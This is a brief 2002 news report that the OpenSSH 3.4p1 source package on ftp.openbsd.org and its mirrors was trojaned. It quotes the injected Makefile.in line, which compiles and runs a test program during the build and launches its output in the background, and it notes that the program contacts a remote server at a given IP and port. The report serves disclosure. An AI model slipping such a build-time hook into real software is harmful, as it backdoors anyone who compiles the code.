OpenSSH trojaned

Thursday, 1 August 2002, 5:43 PM EST

Edwin Groothuis sent an email to the Incidents mailing list in which he says that the OpenSSH package on ftp.openbsd.org and its mirrors is trojaned.

The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:
all: libopenbsd-compat.a
+ @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

bf-test.c is nothing more than a wrapper which generates a
shell-script which compiles itself and tries to connect to an
server running on 203.62.158.32:6667 (web.snsonline.net).
